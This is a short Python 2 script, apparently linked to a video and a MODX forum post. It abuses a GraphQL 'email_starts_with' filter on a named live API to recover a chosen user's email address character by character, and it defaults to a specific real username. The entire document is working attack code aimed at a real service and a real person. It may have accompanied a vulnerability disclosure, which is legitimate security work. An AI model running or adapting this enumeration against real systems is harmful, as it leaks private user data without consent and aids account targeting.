https://youtu.be/xETUOC4M4m4 | https://modx.pro/development/18708

graphql.py

import itertools, argparse, requests, string

def generator(prefix):
    for pass_tuple in itertools.product(ALPHABET, repeat=1):
        yield prefix + ''.join(pass_tuple)

def validator(password):
    data = {"query": "{users(where: {username: \"" + USERNAME + "\", email_starts_with: \"" + password + "\"}) {username}}"}
    r = requests.post('https://api.modxclub.ru/', stream=True, json = data)
    return r.status_code == 200 and r.text == '{"data":{"users":[{"username":"' + USERNAME +'"}]}}'

def process(prefix, size):
    for password in generator(prefix):
        print "[ TRY ] " + password,
        status = validator(password)
        if status == True:
            if len(password) != size:
                print " next"
                return process(password, size)
            else:
                print " found"
                return prefix + password;
        else:
            print " fail"
    return None

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--username', default='Fi1osof', help='Username')
    parser.add_argument('-l', '--len', default=60, type=int, help='Length')
    parser.add_argument('-p', '--prefix', default='', help='Prefix')
    args = parser.parse_args()
    
    USERNAME = args.username
    MAXLEN = args.len
    #ALPHABET = string.ascii_lowercase + string.digits
    ALPHABET = string.ascii_lowercase + string.digits + '._-@'
    
    found = process(args.prefix, MAXLEN)
    if found == None:
        print "Fail"
    else:
        print "Found: " + found